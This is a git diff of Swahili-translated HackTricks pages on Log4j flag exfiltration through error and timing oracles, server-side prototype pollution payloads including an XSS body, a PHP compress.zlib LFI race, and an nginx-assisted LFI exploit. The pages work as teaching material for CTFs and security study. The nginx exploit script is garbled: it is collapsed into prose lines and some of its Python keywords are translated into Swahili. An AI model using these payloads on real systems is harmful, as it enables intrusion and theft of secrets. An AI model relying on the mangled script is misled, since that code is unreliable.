Kama inavyoonekana kwenye ukurasa huu katika [**payloads za awali**](jndi-java-naming-and-directory-interface-and-log4shell.md#verification) kuna njia tofauti za kufikia mabadiliko ya mazingira, kama vile: **`${env:FLAG}`**. Katika CTF hii hii haikuwa na manufaa lakini inaweza kuwa na manufaa katika hali nyingine za maisha halisi.
|
||||
Katika [hii CTF](https://sigflag.at/blog/2022/writeup-googlectf2022-log4j/) mshambuliaji alidhibiti thamani ya `${sys:cmd}` na alihitaji kutoa bendera kutoka kwa mabadiliko ya mazingira.\
|
||||
Kama inavyoonekana kwenye ukurasa huu katika [**payloads za awali**](jndi-java-naming-and-directory-interface-and-log4shell.md#verification) kuna njia tofauti za kufikia mabadiliko ya mazingira, kama vile: **`${env:FLAG}`**. Katika CTF hii haikuwa na manufaa lakini inaweza kuwa na manufaa katika hali nyingine za maisha halisi.
|
||||
|
||||
### Exfiltration in Exceptions
|
||||
|
||||
Katika CTF, **haukupata kufikia stderr** ya programu ya java inayotumia log4J, lakini **makosa ya Log4J yatumwa kwa stdout**, ambayo yalichapishwa katika programu ya python. Hii ilimaanisha kwamba kwa kuchochea kosa tunaweza kufikia maudhui. Kosa la kutoa bendera lilikuwa: **`${java:${env:FLAG}}`.** Hii inafanya kazi kwa sababu **`${java:CTF{blahblah}}`** haipo na kosa lenye thamani ya bendera litakuwa limeonyeshwa:
|
||||
Katika CTF, huwezi **kufikia stderr** ya programu ya java inayotumia log4J, lakini **makosa ya Log4J yatumwa kwa stdout**, ambayo yalichapishwa katika programu ya python. Hii ilimaanisha kwamba kwa kuchochea kosa tunaweza kufikia maudhui. Kosa la kutoa bendera lilikuwa: **`${java:${env:FLAG}}`.** Hii inafanya kazi kwa sababu **`${java:CTF{blahblah}}`** haipo na kosa lenye thamani ya bendera litakuwa limeonyeshwa:
|
||||
|
||||
.png>)
|
||||
|
||||
|
|
@ -401,25 +393,25 @@ Ili tu kutaja, unaweza pia kuingiza [**patterns za mabadiliko**](https://logging
|
|||
|
||||
.png>)
|
||||
|
||||
Hii haikupatikana kuwa na manufaa kutoa tarehe ndani ya ujumbe wa kosa, kwa sababu utafutaji haukufanikiwa kabla ya pattern ya mabadiliko, lakini inaweza kuwa na manufaa kwa mambo mengine kama vile kugundua.
|
||||
Hii haikupatikana kuwa na manufaa kutoa tarehe ndani ya ujumbe wa kosa, kwa sababu utafutaji haukufanikiwa kabla ya pattern ya mabadiliko, lakini inaweza kuwa na manufaa kwa mambo mengine kama kugundua.
|
||||
|
||||
### Conversion Patterns Regexes
|
||||
|
||||
Hata hivyo, inawezekana kutumia **patterns za mabadiliko ambazo zinasaidia regexes** kutoa taarifa kutoka kwa utafutaji kwa kutumia regexes na kutumia **binary search** au tabia za **muda**.
|
||||
Hata hivyo, inawezekana kutumia **patterns za mabadiliko zinazounga mkono regexes** kutoa taarifa kutoka kwa utafutaji kwa kutumia regexes na kutumia **binary search** au tabia za **muda**.
|
||||
|
||||
* **Binary search kupitia ujumbe wa makosa**
|
||||
|
||||
Pattern ya mabadiliko **`%replace`** inaweza kutumika **kuchukua nafasi** **maudhui** kutoka kwa **nyuzi** hata kwa kutumia **regexes**. Inafanya kazi kama ifuatavyo: `replace{pattern}{regex}{substitution}`\
|
||||
Kwa kutumia tabia hii unaweza kufanya kuchukua nafasi **kuchochea kosa ikiwa regex ilikubaliana** na chochote ndani ya nyuzi (na hakuna kosa ikiwa haikupatikana) kama ifuatavyo:
|
||||
Pattern ya mabadiliko **`%replace`** inaweza kutumika **kuchukua nafasi** ya **maudhui** kutoka kwa **nyuzi** hata kwa kutumia **regexes**. Inafanya kazi kama ifuatavyo: `replace{pattern}{regex}{substitution}`\
|
||||
Kwa kutumia tabia hii unaweza kufanya kuchukua nafasi **kuanzishe kosa ikiwa regex ilikubaliana** na chochote ndani ya nyuzi (na hakuna kosa ikiwa haikupatikana) kama ifuatavyo:
|
||||
```bash
|
||||
%replace{${env:FLAG}}{^CTF.*}{${error}}
|
||||
# The string searched is the env FLAG, the regex searched is ^CTF.*
|
||||
## and ONLY if it's found ${error} will be resolved with will trigger an exception
|
||||
```
|
||||
* **Wakati msingi**
|
||||
* **Muda msingi**
|
||||
|
||||
Kama ilivyotajwa katika sehemu ya awali, **`%replace`** inasaidia **regexes**. Hivyo inawezekana kutumia payload kutoka kwenye [**ReDoS page**](../regular-expression-denial-of-service-redos.md) kusababisha **timeout** ikiwa bendera imepatikana.\
|
||||
Kwa mfano, payload kama `%replace{${env:FLAG}}{^(?=CTF)((.`_`)`_`)*salt$}{asd}` itasababisha **timeout** katika CTF hiyo.
|
||||
Kwa mfano, payload kama `%replace{${env:FLAG}}{^(?=CTF)((.`_`)`_`)*salt$}{asd}` itasababisha **timeout** katika hiyo CTF.
|
||||
|
||||
Katika [**writeup**](https://intrigus.org/research/2022/07/18/google-ctf-2022-log4j2-writeup/), badala ya kutumia shambulio la ReDoS ilitumia **shambulio la amplification** kusababisha tofauti ya muda katika majibu:
|
||||
|
||||
|
|
@ -441,7 +433,7 @@ Katika [**writeup**](https://intrigus.org/research/2022/07/18/google-ctf-2022-lo
|
|||
> }{#}{######################################################}
|
||||
> ```
|
||||
>
|
||||
> Ikiwa bendera inaanza na `flagGuess`, bendera nzima inabadilishwa na `#` 29 (nilitumia tabia hii kwa sababu huenda isiwe sehemu ya bendera). **Kila moja ya `#` 29 inayotokana kisha inabadilishwa na `#` 54**. Mchakato huu unarudiwa **mara 6**, na kusababisha jumla ya ` 29*54*54^6* =`` `` `**`96816014208`** **`#`-s!**
|
||||
> Ikiwa bendera inaanza na `flagGuess`, bendera nzima inabadilishwa na `#` 29 (nilitumia tabia hii kwa sababu huenda isiwe sehemu ya bendera). **Kila moja ya `#` 29 inayotokana nayo inabadilishwa na `#` 54**. Mchakato huu unarudiwa **mara 6**, na kusababisha jumla ya ` 29*54*54^6* =`` `` `**`96816014208`** **`#`-s!**
|
||||
>
|
||||
> Kubadilisha `#` nyingi kama hizo kutasababisha timeout ya sekunde 10 ya programu ya Flask, ambayo kwa upande wake itasababisha msimbo wa hali ya HTTP 500 kutumwa kwa mtumiaji. (Ikiwa bendera haianzi na `flagGuess`, tutapata msimbo wa hali usio 500)
|
||||
|
||||
|
|
@ -456,23 +448,18 @@ Katika [**writeup**](https://intrigus.org/research/2022/07/18/google-ctf-2022-lo
|
|||
* [https://intrigus.org/research/2022/07/18/google-ctf-2022-log4j2-writeup/](https://intrigus.org/research/2022/07/18/google-ctf-2022-log4j2-writeup/)
|
||||
* [https://sigflag.at/blog/2022/writeup-googlectf2022-log4j/](https://sigflag.at/blog/2022/writeup-googlectf2022-log4j/)
|
||||
|
||||
**Kundi la Usalama wa Jaribio Ngumu**
|
||||
|
||||
<figure><img src="../../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
Jifunze & fanya mazoezi ya AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Jifunze & fanya mazoezi ya GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
* Angalia [**mpango wa usajili**](https://github.com/sponsors/carlospolop)!
|
||||
* **Jiunge na** 💬 [**kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au [**kikundi cha telegram**](https://t.me/peass) au **fuata** sisi kwenye **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Shiriki mbinu za udukuzi kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
|||
|
|
@ -15,27 +15,13 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
|||
</details>
|
||||
{% endhint %}
|
||||
|
||||
### [WhiteIntel](https://whiteintel.io)
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**WhiteIntel**](https://whiteintel.io) ni injini ya kutafuta inayotumiwa na **dark-web** ambayo inatoa kazi za **bure** kuangalia ikiwa kampuni au wateja wake wamekuwa **compromised** na **stealer malwares**.
|
||||
|
||||
Lengo lao kuu la WhiteIntel ni kupambana na utekaji wa akaunti na mashambulizi ya ransomware yanayotokana na malware inayopora taarifa.
|
||||
|
||||
Unaweza kuangalia tovuti yao na kujaribu injini yao kwa **bure** kwenye:
|
||||
|
||||
{% embed url="https://whiteintel.io" %}
|
||||
|
||||
***
|
||||
|
||||
## Serve XSS responses
|
||||
|
||||
**Kwa maelezo zaidi** [**angalia utafiti wa asili**](https://portswigger.net/research/server-side-prototype-pollution)
|
||||
|
||||
### Badilisha aina ya maudhui ya JSON kuwa HTML
|
||||
|
||||
Katika programu ya Express inayotumia **aina ya maudhui ya JSON** na kuakisi JSON:
|
||||
Katika programu ya Express inayotumia **aina ya maudhui ya majibu ya JSON** na kuakisi JSON:
|
||||
```javascript
|
||||
app.use(bodyParser.json({type: 'application/json'}));
|
||||
app.post('/', function(req, res){
|
||||
|
|
@ -43,7 +29,7 @@ _.merge({}, req.body);
|
|||
res.send(req.body);
|
||||
});
|
||||
```
|
||||
Katika hizi kesi, XSS kawaida haiwezekani na aina ya maudhui ya JSON. Hata hivyo, kwa uchafuzi wa prototype tunaweza **kuchanganya Express kutoa jibu la HTML.** Uthibitisho huu unategemea programu inayotumia **`res.send(obj)`** na kutumia parser ya mwili na aina ya maudhui ya application/json.
|
||||
Katika hizi kesi, XSS kawaida haiwezekani na aina ya maudhui ya JSON. Hata hivyo, kwa uchafuzi wa prototype tunaweza **kuchanganya Express kutoa jibu la HTML.** Uthibitisho huu unategemea programu kutumia **`res.send(obj)`** na kutumia parser ya mwili na aina ya maudhui ya application/json.
|
||||
```json
|
||||
{"__proto__":{"_body":true,"body":"<script>evil()"}}
|
||||
```
|
||||
|
|
@ -63,7 +49,7 @@ Ifuatayo PP itafanya sifa ndani ya JSON kuwa na nafasi ya ziada ambayo haitavunj
|
|||
```json
|
||||
{"__proto__":{"json spaces": " "}}
|
||||
```
|
||||
Kisha JSON iliyoakisi itaonekana kama:
|
||||
Kisha JSON iliyoakisi itakuwa kama ifuatavyo:
|
||||
```json
|
||||
{"foo": "bar"} -- Note the extra space
|
||||
```
|
||||
|
|
@ -77,7 +63,7 @@ Inahitaji **moduli ya CORS kufungwa**
|
|||
|
||||
### **Njia ya OPTIONS**
|
||||
|
||||
Kwa payload ifuatayo, inawezekana **kuficha njia kutoka kwa jibu la OPTIONS**:
|
||||
Kwa kutumia mzigo ufuatao, inawezekana **kuficha njia kutoka kwa jibu la OPTIONS**:
|
||||
```javascript
|
||||
// Original reponse: POST,GET,HEAD
|
||||
|
||||
|
|
@ -94,18 +80,18 @@ Inawezekana kubadilisha **kodi ya hali iliyorudishwa** kwa kutumia mzigo wa PP u
|
|||
```
|
||||
### Hitilafu
|
||||
|
||||
Unapoweka kwenye prototype kwa kutumia primitive kama string, inazalisha **operesheni isiyo na athari kwa sababu prototype inapaswa kuwa kitu**. Ikiwa unajaribu kuweka kitu cha prototype kwenye `Object.prototype` yenyewe, hii itasababisha **kutoa hitilafu**. Tunaweza kutumia tabia hizi mbili ili **kubaini ikiwa uchafuzi wa prototype umefanikiwa**:
|
||||
Unapoweka kwenye prototype kwa kutumia primitive kama string, inazalisha **operesheni isiyo na maana kwani prototype inapaswa kuwa kitu**. Ikiwa unajaribu kuweka kitu cha prototype kwenye `Object.prototype` yenyewe, hii it **tupa hitilafu**. Tunaweza kutumia tabia hizi mbili ili **kubaini ikiwa uchafuzi wa prototype umefanikiwa**:
|
||||
```javascript
|
||||
({}).__proto__.__proto__={}//throws type exception
|
||||
({}).__proto__.__proto__="x"//no-op does not throw exception
|
||||
```
|
||||
### Reflected Value
|
||||
|
||||
Wakati programu inajumuisha kitu katika jibu lake, kuunda sifa yenye **jina lisilo la kawaida pamoja na `__proto__`** kunaweza kuwa na maana. Kwa hakika, ikiwa **sifa hiyo pekee isiyo ya kawaida inarudishwa** katika jibu, hii inaweza kuashiria udhaifu wa programu:
|
||||
Wakati programu inajumuisha kitu katika jibu lake, kuunda sifa yenye **jina lisilo la kawaida pamoja na `__proto__`** kunaweza kuwa na maana. Haswa, ikiwa **sifa hiyo pekee isiyo ya kawaida inarudishwa** katika jibu, hii inaweza kuashiria udhaifu wa programu:
|
||||
```json
|
||||
{"unusualName":"value","__proto__":"test"}
|
||||
```
|
||||
Zaidi ya hayo, katika hali ambapo maktaba kama Lodash inatumika, kuweka mali kupitia uchafuzi wa prototype (PP) na moja kwa moja ndani ya kitu kunatoa njia nyingine ya uchambuzi. Ikiwa mali kama hiyo imeachwa kwenye jibu, inamaanisha kwamba Lodash inathibitisha uwepo wa mali hiyo katika kitu cha lengo kabla ya kuunganisha:
|
||||
Zaidi ya hayo, katika hali ambapo maktaba kama Lodash inatumika, kuweka mali kupitia uchafuzi wa prototype (PP) na moja kwa moja ndani ya kitu kunatoa njia nyingine ya uchunguzi. Ikiwa mali kama hiyo imeachwa kwenye jibu, inamaanisha kwamba Lodash inathibitisha uwepo wa mali hiyo katika kitu cha lengo kabla ya kuungana:
|
||||
```javascript
|
||||
{"__proto__":{"a":"value1"},"a":"value2","b":"value3"}
|
||||
// If 'b' is the only property reflected, this indicates prototype pollution in Lodash
|
||||
|
|
@ -121,25 +107,14 @@ Unaweza hakika kukitumia katika **mnyororo** wa hitilafu ili kutumia **udhaifu w
|
|||
```
|
||||
**`?foo.bar=baz` inaunda kitu katika Node.**
|
||||
|
||||
## Marejeleo
|
||||
## Marejeo
|
||||
|
||||
* [https://portswigger.net/research/server-side-prototype-pollution](https://portswigger.net/research/server-side-prototype-pollution)
|
||||
|
||||
### [WhiteIntel](https://whiteintel.io)
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**WhiteIntel**](https://whiteintel.io) ni injini ya utafutaji inayotumiwa na **dark-web** ambayo inatoa kazi za **bure** kuangalia ikiwa kampuni au wateja wake wamekuwa **wameathiriwa** na **stealer malwares**.
|
||||
|
||||
Lengo lao kuu la WhiteIntel ni kupambana na utekaji wa akaunti na mashambulizi ya ransomware yanayotokana na malware ya kuiba taarifa.
|
||||
|
||||
Unaweza kuangalia tovuti yao na kujaribu injini yao **bure** kwenye:
|
||||
|
||||
{% embed url="https://whiteintel.io" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
Jifunze & fanya mazoezi ya AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Jifunze & fanya mazoezi ya GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
Jifunze na fanya mazoezi ya AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Jifunze na fanya mazoezi ya GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
|
|
|
|||
|
|
@ -15,23 +15,9 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
|||
</details>
|
||||
{% endhint %}
|
||||
|
||||
#### [WhiteIntel](https://whiteintel.io)
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**WhiteIntel**](https://whiteintel.io) ni injini ya utafutaji inayotumiwa na **dark-web** ambayo inatoa kazi za **bure** kuangalia kama kampuni au wateja wake wamekuwa **kompromised** na **stealer malwares**.
|
||||
|
||||
Lengo lao kuu la WhiteIntel ni kupambana na utekaji wa akaunti na mashambulizi ya ransomware yanayotokana na malware ya kuiba taarifa.
|
||||
|
||||
Unaweza kuangalia tovuti yao na kujaribu injini yao kwa **bure** kwenye:
|
||||
|
||||
{% embed url="https://whiteintel.io" %}
|
||||
|
||||
***
|
||||
|
||||
### `compress.zlib://` na `PHP_STREAM_PREFER_STDIO`
|
||||
|
||||
Faili iliyofunguliwa kwa kutumia protokali `compress.zlib://` na bendera `PHP_STREAM_PREFER_STDIO` inaweza kuendelea kuandika data inayofika kwenye muunganisho baadaye kwenye faili hiyo hiyo.
|
||||
Fail iliyofunguliwa kwa kutumia protokali `compress.zlib://` na bendera `PHP_STREAM_PREFER_STDIO` inaweza kuendelea kuandika data inayofika kwenye muunganisho baadaye kwenye faili hiyo hiyo.
|
||||
|
||||
Hii inamaanisha kwamba wito kama:
|
||||
```php
|
||||
|
|
@ -53,28 +39,16 @@ if (flags & PHP_STREAM_PREFER_STDIO) {
|
|||
|
||||
[**Hii CTF**](https://balsn.tw/ctf\_writeup/20191228-hxp36c3ctf/#includer) ilitatuliwa kwa kutumia hila ya awali.
|
||||
|
||||
Mshambuliaji atafanya **server ya mwathirika ifungue muunganisho ikisoma faili kutoka kwa server ya mshambuliaji** kwa kutumia **`compress.zlib`** itifaki.
|
||||
Mshambuliaji atafanya **server ya mwathirika kufungua muunganisho ukisoma faili kutoka kwa server ya mshambuliaji** kwa kutumia **`compress.zlib`** itifaki.
|
||||
|
||||
**Wakati** huu **muunganisho** upo mshambuliaji atafanya **kuondoa njia** ya faili ya muda iliyoundwa (imevuja na server).
|
||||
**Wakati** muunganisho huu **upo**, mshambuliaji atafanya **kuondoa njia** ya faili ya muda iliyoundwa (imevuja na server).
|
||||
|
||||
**Wakati** huu **muunganisho** bado upo, mshambuliaji atafanya **kudhulumu LFI ikipakia faili ya muda** anayoitawala.
|
||||
**Wakati** muunganisho **bado uko wazi**, mshambuliaji atafanya **kudhulumu LFI akipakia faili ya muda** ambayo anadhibiti.
|
||||
|
||||
Hata hivyo, kuna ukaguzi katika server ya wavuti ambao **unazuia kupakia faili zinazokuwa na `<?`**. Kwa hivyo, mshambuliaji atatumia **Race Condition**. Katika muunganisho ambao bado upo, **mshambuliaji** atatuma **PHP payload BAADA** ya **webserver** **kukagua** kama faili ina wahusika waliokatazwa lakini **KABLA ya kupakia maudhui yake**.
|
||||
Hata hivyo, kuna ukaguzi katika server ya wavuti ambao **unazuia kupakia faili zinazokuwa na `<?`**. Kwa hivyo, mshambuliaji atatumia **Race Condition**. Katika muunganisho ambao bado uko wazi, **mshambuliaji** atatuma **PHP payload BAADA YA** **webserver** **kuangalia** ikiwa faili ina wahusika waliokatazwa lakini **KABLA ya kupakia maudhui yake**.
|
||||
|
||||
Kwa maelezo zaidi angalia maelezo ya Race Condition na CTF katika [https://balsn.tw/ctf\_writeup/20191228-hxp36c3ctf/#includer](https://balsn.tw/ctf\_writeup/20191228-hxp36c3ctf/#includer)
|
||||
|
||||
#### [WhiteIntel](https://whiteintel.io)
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**WhiteIntel**](https://whiteintel.io) ni injini ya utafutaji inayotumiwa na **dark-web** ambayo inatoa kazi za **bure** kuangalia kama kampuni au wateja wake wamekuwa **wameathiriwa** na **stealer malwares**.
|
||||
|
||||
Lengo lao kuu la WhiteIntel ni kupambana na kuchukuliwa kwa akaunti na mashambulizi ya ransomware yanayotokana na malware ya kuiba taarifa.
|
||||
|
||||
Unaweza kuangalia tovuti yao na kujaribu injini yao **bure** kwenye:
|
||||
|
||||
{% embed url="https://whiteintel.io" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
|
|
|||
|
|
@ -10,91 +10,65 @@ Jifunze na fanya mazoezi ya GCP Hacking: <img src="/.gitbook/assets/grte.png" al
|
|||
|
||||
* Angalia [**mpango wa usajili**](https://github.com/sponsors/carlospolop)!
|
||||
* **Jiunge na** 💬 [**kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au [**kikundi cha telegram**](https://t.me/peass) au **fuata** sisi kwenye **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Shiriki mbinu za hacking kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
* **Shiriki mbinu za hacking kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
### [WhiteIntel](https://whiteintel.io)
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**WhiteIntel**](https://whiteintel.io) ni injini ya utafutaji inayotumiwa na **dark-web** ambayo inatoa kazi za **bure** kuangalia kama kampuni au wateja wake wamekuwa **compromised** na **stealer malwares**.
|
||||
|
||||
Lengo lao kuu la WhiteIntel ni kupambana na kuchukuliwa kwa akaunti na mashambulizi ya ransomware yanayotokana na malware inayopora taarifa.
|
||||
|
||||
Unaweza kuangalia tovuti yao na kujaribu injini yao kwa **bure** kwenye:
|
||||
|
||||
{% embed url="https://whiteintel.io" %}
|
||||
|
||||
***
|
||||
|
||||
## Mipangilio yenye udhaifu
|
||||
|
||||
[**Mfano kutoka https://bierbaumer.net/security/php-lfi-with-nginx-assistance/**](https://bierbaumer.net/security/php-lfi-with-nginx-assistance/)
|
||||
|
||||
* PHP code:
|
||||
```php
|
||||
|
||||
\`\`\`\`h\`
|
||||
/dev/pts/0 lrwx------ 1 www-data www-data 64 Dec 25 23:56 1 -> /dev/pts/0 lrwx------ 1 www-data www-data 64 Dec 25 23:49 10 -> anon\_inode:\[eventfd] lrwx------ 1 www-data www-data 64 Dec 25 23:49 11 -> socket:\[27587] lrwx------ 1 www-data www-data 64 Dec 25 23:49 12 -> socket:\[27589] lrwx------ 1 www-data www-data 64 Dec 25 23:56 13 -> socket:\[44926] lrwx------ 1 www-data www-data 64 Dec 25 23:57 14 -> socket:\[44927] lrwx------ 1 www-data www-data 64 Dec 25 23:58 15 -> /var/lib/nginx/body/0000001368 (deleted) ... \`\`\` Note: One cannot directly include \`/proc/34/fd/15\` in this example as PHP's \`include\` function would resolve the path to \`/var/lib/nginx/body/0000001368 (deleted)\` which doesn't exist in in the filesystem. This minor restriction can luckily be bypassed by some indirection like: \`/proc/self/fd/34/../../../34/fd/15\` which will finally execute the content of the deleted \`/var/lib/nginx/body/0000001368\` file. ## Full Exploit \`\`\`python #!/usr/bin/env python3 import sys, threading, requests # exploit PHP local file inclusion (LFI) via nginx's client body buffering assistance # see https://bierbaumer.net/security/php-lfi-with-nginx-assistance/ for details URL = f'http://{sys.argv\[1]}:{sys.argv\[2]}/' # find nginx worker processes r = requests.get(URL, params={ 'file': '/proc/cpuinfo' }) cpus = r.text.count('processor') r = requests.get(URL, params={ 'file': '/proc/sys/kernel/pid\_max' }) pid\_max = int(r.text) print(f'\[\*] cpus: {cpus}; pid\_max: {pid\_max}') nginx\_workers = \[] for pid in range(pid\_max): r = requests.get(URL, params={ 'file': f'/proc/{pid}/cmdline' }) if b'nginx: worker process' in r.content: print(f'\[\*] nginx worker found: {pid}') nginx\_workers.append(pid) if len(nginx\_workers) >= cpus: break done = False # upload a big client body to force nginx to create a /var/lib/nginx/body/$X def uploader(): print('\[+] starting uploader') while not done: requests.get(URL, data=' //'
|
||||
|
||||
/dev/pts/0 lrwx------ 1 www-data www-data 64 Dec 25 23:56 1 -> /dev/pts/0 lrwx------ 1 www-data www-data 64 Dec 25 23:49 10 -> anon\_inode:\[eventfd] lrwx------ 1 www-data www-data 64 Dec 25 23:49 11 -> socket:\[27587] lrwx------ 1 www-data www-data 64 Dec 25 23:49 12 -> socket:\[27589] lrwx------ 1 www-data www-data 64 Dec 25 23:56 13 -> socket:\[44926] lrwx------ 1 www-data www-data 64 Dec 25 23:57 14 -> socket:\[44927] lrwx------ 1 www-data www-data 64 Dec 25 23:58 15 -> /var/lib/nginx/body/0000001368 (deleted) ... \`\`\` Kumbuka: Haiwezekani moja kwa moja kujumuisha \`/proc/34/fd/15\` katika mfano huu kwani kazi ya PHP \`include\` itatatua njia hiyo kuwa \`/var/lib/nginx/body/0000001368 (deleted)\` ambayo haipo katika mfumo wa faili. Kizuizi hiki kidogo kinaweza kwa bahati kuepukwa kwa njia fulani kama: \`/proc/self/fd/34/../../../34/fd/15\` ambayo hatimaye itatekeleza maudhui ya faili iliyofutwa \`/var/lib/nginx/body/0000001368\` ## Utekelezaji Kamili \`\`\`python #!/usr/bin/env python3 import sys, threading, requests # exploit PHP local file inclusion (LFI) kupitia msaada wa buffering wa mwili wa mteja wa nginx # ona https://bierbaumer.net/security/php-lfi-with-nginx-assistance/ kwa maelezo URL = f'http://{sys.argv\[1]}:{sys.argv\[2]}/' # pata michakato ya kazi za nginx r = requests.get(URL, params={ 'file': '/proc/cpuinfo' }) cpus = r.text.count('processor') r = requests.get(URL, params={ 'file': '/proc/sys/kernel/pid\_max' }) pid\_max = int(r.text) print(f'\[\*] cpus: {cpus}; pid\_max: {pid\_max}') nginx\_workers = \[] for pid in range(pid\_max): r = requests.get(URL, params={ 'file': f'/proc/{pid}/cmdline' }) if b'nginx: worker process' in r.content: print(f'\[\*] mchakato wa kazi wa nginx umepatikana: {pid}') nginx\_workers.append(pid) if len(nginx\_workers) >= cpus: break done = False # pakia mwili mkubwa wa mteja kulazimisha nginx kuunda /var/lib/nginx/body/$X def uploader(): print('\[+] kuanza kupakia') while not done: requests.get(URL, data=' //'
|
||||
```
|
||||
requests_session.post(SERVER + "/?action=read&file=/bla", data=(payload + ("a" * (body_size - len(payload)))))
|
||||
except:
|
||||
pass
|
||||
```
|
||||
```python
|
||||
|
||||
def send\_payload\_worker(requests\_session): while True: send\_payload(requests\_session)
|
||||
|
||||
def send\_payload\_multiprocess(requests\_session): # Tumia CPUs zote kutuma payload kama mwili wa ombi kwa Nginx kwa \_ katika range(multiprocessing.cpu\_count()): p = multiprocessing.Process(target=send\_payload\_worker, args=(requests\_session,)) p.start()
|
||||
def send\_payload\_multiprocess(requests\_session): # Use all CPUs to send the payload as request body for Nginx for \_ in range(multiprocessing.cpu\_count()): p = multiprocessing.Process(target=send\_payload\_worker, args=(requests\_session,)) p.start()
|
||||
|
||||
def generate\_random\_path\_prefix(nginx\_pids): # Njia hii inaunda njia kutoka kwa idadi ya nasibu ya vipengele vya ProcFS. Njia iliyozalishwa itakuwa kama /proc/\<nginx pid 1>/cwd/proc/\<nginx pid 2>/root/proc/\<nginx pid 3>/root path = "" component\_num = random.randint(0, 10) kwa \_ katika range(component\_num): pid = random.choice(nginx\_pids) ikiwa random.randint(0, 1) == 0: path += f"/proc/{pid}/cwd" vinginevyo: path += f"/proc/{pid}/root" return path
|
||||
def generate\_random\_path\_prefix(nginx\_pids): # This method creates a path from random amount of ProcFS path components. A generated path will look like /proc/\<nginx pid 1>/cwd/proc/\<nginx pid 2>/root/proc/\<nginx pid 3>/root path = "" component\_num = random.randint(0, 10) for \_ in range(component\_num): pid = random.choice(nginx\_pids) if random.randint(0, 1) == 0: path += f"/proc/{pid}/cwd" else: path += f"/proc/{pid}/root" return path
|
